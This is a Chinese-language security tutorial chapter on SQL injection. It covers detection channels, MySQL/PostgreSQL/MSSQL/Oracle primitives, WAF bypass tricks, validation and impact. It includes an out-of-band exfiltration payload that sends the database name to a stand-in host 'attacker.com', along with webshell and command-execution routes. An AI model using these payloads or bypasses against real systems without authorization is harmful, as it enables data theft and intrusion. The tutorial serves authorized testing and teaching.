第 5 章 · 01 SQL 注入


文档摘要

第 5 章 · 01 SQL 注入 本节摘要:SQL 注入(SQLi)是最持久、影响最大的漏洞类别之一。现代利用聚焦于解析器差异、ORM/查询构建器的边界、JSON/XML/CTE/JSONB 攻击面、带外数据外泄(OAST)以及隐蔽的盲注通道。本节讲透它的攻击面、四类检测通道(报错/布尔/时间/带外)、各 DBMS(MySQL/PostgreSQL/MSSQL/Oracle)的原语差异、绕过 WAF 的技巧、如何验证避免误报,以及它的影响评估。读完本节,你能在授权测试中系统性地排查一个应用的 SQLi 风险,并理解为什么「任何拼接到 SQL 的字符串都要当嫌疑点」。 内容来源:原项目知识包 ,汉化并套用体系化模板。

第 5 章 · 01 SQL 注入

本节摘要:SQL 注入(SQLi)是最持久、影响最大的漏洞类别之一。现代利用聚焦于解析器差异、ORM/查询构建器的边界、JSON/XML/CTE/JSONB 攻击面、带外数据外泄(OAST)以及隐蔽的盲注通道。本节讲透它的攻击面、四类检测通道(报错/布尔/时间/带外)、各 DBMS(MySQL/PostgreSQL/MSSQL/Oracle)的原语差异、绕过 WAF 的技巧、如何验证避免误报,以及它的影响评估。读完本节,你能在授权测试中系统性地排查一个应用的 SQLi 风险,并理解为什么「任何拼接到 SQL 的字符串都要当嫌疑点」。

内容来源:原项目知识包 strix/skills/vulnerabilities/sql_injection.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 识别 SQL 注入的典型攻击面(输入位置、ORM 边界、标识符 vs 字面量)。
  2. 说明四类检测通道(报错/布尔/时间/带外)的原理与适用场景。
  3. 列举 MySQL/PostgreSQL/MSSQL/Oracle 各自的关键DBMS 原语(版本/文件/带外/时间)。
  4. 掌握常见的 WAF 绕过思路。
  5. 用验证步骤确认漏洞、排除误报
  6. 评估 SQL 注入的影响等级

一、攻击面

数据库:经典关系型(MySQL/MariaDB、PostgreSQL、MSSQL、Oracle);新攻击面包括 JSON/JSONB 操作符、全文检索、地理空间、窗口函数、CTE、lateral join。

集成路径:ORM、查询构建器、存储过程;搜索服务器、报表/导出器。

输入位置(都值得测):

  • 路径 / 查询参数 / body / header / cookie
  • 混合编码(URL、JSON、XML、multipart)
  • 标识符 vs 字面量:表名/列名(需引号转义)vs 字面量(引号/CAST 要求)——标识符注入常被忽略
  • 查询构建器的 whereRaw / orderByRaw、ORM 里的字符串模板
  • JSON 强制转换或数组包含操作符
  • 批量/批量端点、直接嵌入过滤条件的报表生成器

💡 核心心法:把每一处字符串拼接到 SQL 的地方都当嫌疑点。ORM 不是保险箱——whereRaw 这类「原始」接口照样能注入。

二、检测通道

报错型(Error-Based):诱发类型/约束/解析器错误,泄露堆栈/版本/路径。

布尔型(Boolean-Based):发两个只在谓词真假上不同的请求,对比状态码/body/长度/ETag。

时间型(Time-Based):SLEEP / pg_sleep / WAITFOR;用子查询门控避免全局延迟噪声。

带外型(OOB / OAST):通过 DB 特定原语触发 DNS/HTTP 回调(详见第三节)。

三、利用方法与技术:各 DBMS 原语

MySQL

  • 版本/用户/库:@@versiondatabase()user()current_user()
  • 报错:extractvalue() / updatexml()(旧版),JSON 函数塑形报错
  • 文件 IO:LOAD_FILE()SELECT ... INTO DUMPFILE/OUTFILE(需 FILE 权限、secure_file_priv)
  • 带外/DNS:LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
  • 时间:SLEEP(n)BENCHMARK

PostgreSQL

  • 版本/用户/库:version()current_usercurrent_database()
  • 报错:用不支持的类型转换或除零引发异常;xml2 的 xpath() 报错
  • 带外:COPY (program ...) 或 dblink/外部数据包装器(启用时);http 扩展
  • 时间:pg_sleep(n)
  • 文件:COPY table TO/FROM '/path'(需超级用户)、lo_import/lo_export
  • JSON/JSONB:->->>@>?| 配合 lateral/CTE 做盲注提取

MSSQL

  • 版本/库/用户:@@versiondb_name()system_useruser_name()
  • 带外/DNS:xp_dirtreexp_fileexist;通过 OLE 自动化(sp_OACreate)发 HTTP(启用时)
  • 执行:xp_cmdshell(常被禁)、OPENROWSET/OPENDATASOURCE
  • 时间:WAITFOR DELAY '0:0:5';重函数造成可测延迟
  • 报错:convert/parse、除零、FOR XML PATH 泄露

Oracle

  • (摘要)以 DUAL 为基础,用 UTL_INADDR/UTL_HTTP(需权限)做带外,DBMS_LOCK.SLEEP 做时间盲注。

四、绕过技巧

WAF 与过滤常见,绕过思路:

  • 大小写混合:SqLSeLeCt
  • 注释拆分:UN/**/IONSEL/*x*/ECT
  • 编码:URL 编码、双重编码、Unicode、Hex(0x)/CHAR()
  • 等价函数:过滤 SLEEPBENCHMARK;过滤 @@versionversion()
  • 空白替代:用 +%09(tab)、%0a(换行)替代空格
  • HTTP 参数污染(HPPI):同名参数多传,WAF 与后端解析不一致时绕过

💡 绕过的本质:WAF 基于模式匹配,而后端 SQL 解析器容错性强——找到「WAF 拒绝但解析器接受」的表示形式就能绕过。

五、验证与误报排除

确认一个 SQLi 真实存在的稳妥步骤:

  1. 可重复:同样输入多次触发,结果稳定(排除偶发)。
  2. 双向验证:布尔型注入,「真」与「假」的响应要可区分且可重复
  3. 带外落库:用 OAST 收到 DNS/HTTP 回调,几乎排除误报。
  4. 可控提取:能按位/按字符提取数据(盲注)或直接 union 拿数据(联合查询)。

常见误报:WAF 拦截导致的延迟被误判为时间盲注(对比基线);CDN 缓存导致的布尔差异(禁用缓存重测);随机广告导致的响应长度差异。

六、影响评估

SQLi 的影响取决于 DBMS 与权限:

  • 数据泄露:读取任意表(用户、凭据、PII)。
  • 认证绕过:登录表单注入直接绕过密码校验。
  • 写/改数据:有写权限时可篡改、删除记录。
  • RCE:MySQL 的 INTO OUTFILE 写 webshell;MSSQL 的 xp_cmdshell;PostgreSQL 的 COPY PROGRAM
  • 内网穿透:带外能力 + 文件读取可探测内网。

⚠️ 即便是「只能读」的 SQLi,在合规与隐私层面也是高危(泄露用户数据)。

本节要点回顾

  1. 核心心法:任何拼接到 SQL 的字符串都是嫌疑点,ORM 的 whereRaw 也不例外。
  2. 四大攻击面:输入位置、混合编码、标识符 vs 字面量、查询构建器原始接口。
  3. 四类检测通道:报错(泄露信息)、布尔(对比响应)、时间(SLEEP/pg_sleep/WAITFOR)、带外(OAST 回调)。
  4. DBMS 差异:MySQL(LOAD_FILE/SLEEP)、PostgreSQL(COPY PROGRAM/pg_sleep/JSONB)、MSSQL(xp_cmdshell/WAITFOR/xp_dirtree)、Oracle(UTL_*)。
  5. 绕过本质:找「WAF 拒绝但解析器接受」的表示——大小写、注释、编码、等价函数、空白替代、HPPI。
  6. 验证四步:可重复、双向验证、带外落库、可控提取;警惕 WAF/CDN/广告导致的误报。
  7. 影响:从数据泄露到认证绕过、写改数据、RCE、内网穿透;即便只读也是合规高危。

下一节,我们看 NoSQL 注入——当数据库变成 MongoDB 这类文档库,注入的形态和防御都不同。


发布者: 作者: 灏天文库 转发
评论区 (0)
U